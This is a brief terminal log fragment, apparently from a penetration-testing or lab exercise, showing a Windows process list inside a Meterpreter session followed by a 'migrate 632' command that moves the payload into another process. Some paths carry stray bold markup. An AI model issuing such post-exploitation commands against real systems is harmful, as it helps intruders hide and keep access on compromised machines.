    1120  vmacthlp.exe         C:\Program Files\VMware\VMware Tools\vmacthlp.exe
    1136  svchost.exe          C:\WINDOWS\system32\svchost.exe
    1236  svchost.exe          C:\WINDOWS\system32\svchost.exe
    1560  alg.exe              C:\WINDOWS\System32\alg.exe
    1568  WZCSLDR2.exe         C:\Program Files\ANI\ANIWZCS2 Service\WZCSLDR2.exe
    1596  jusched.exe          C:\Program Files\Java\jre6\b**in**\jusched.exe
    1656  msmsgs.exe           C:\Program Files\Messenger\msmsgs.exe
    1748  spoolsv.exe          C:\WINDOWS\system32\spoolsv.exe
    1928  jqs.exe              C:\Program Files\Java\jre6\b**in**\jqs.exe
    2028  snmp.exe             C:\WINDOWS\System32\snmp.exe
    2840  3proxy.exe           C:\3proxy\b**in**\3proxy.exe
    3000  mmc.exe              C:\WINDOWS\system32\mmc.exe

meterpreter > migrate 632
> Migrating to 632...
> Migration completed successfully.